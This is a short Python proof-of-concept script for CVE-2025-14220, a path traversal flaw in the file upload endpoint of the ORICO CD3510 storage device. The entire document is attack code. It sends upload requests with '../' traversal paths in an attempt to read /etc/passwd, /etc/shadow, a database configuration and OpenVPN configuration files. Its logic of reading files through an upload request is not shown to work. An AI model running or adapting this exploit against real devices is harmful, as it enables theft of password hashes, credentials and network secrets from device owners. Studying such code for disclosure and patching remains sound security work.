CVE-2025-14220: ORICO CD3510 文件上传路径遍历漏洞

import requests import urllib.parse # CVE-2025-14220 PoC - ORICO CD3510 Path Traversal # Target: ORICO CD3510 device with file upload component target = "http://target-device:8080" def read_file_via_path_traversal(filepath): """ Exploit path traversal in file upload component to read arbitrary files """ # Path traversal payload to read /etc/passwd traversal_path = f"../../../../../../{filepath}" endpoint = f"{target}/api/upload" files = { 'file': ('test.txt', 'test content', 'text/plain') } data = { 'path': traversal_path, 'filename': 'malicious.txt' } try: response = requests.post(endpoint, files=files, data=data, timeout=10) if response.status_code == 200: print(f"[+] Successfully exploited path traversal") print(f"[+] File content: {response.text}") return True else: print(f"[-] Exploitation failed: HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): print("="*50) print("CVE-2025-14220 PoC - ORICO CD3510 Path Traversal") print("="*50) # Read sensitive files target_files = [ '/etc/passwd', '/etc/shadow', '/app/config/database.conf', '/etc/openvpn/*.conf' ] for file_path in target_files: print(f"\n[*] Attempting to read: {file_path}") read_file_via_path_traversal(file_path) if __name__ == "__main__": main()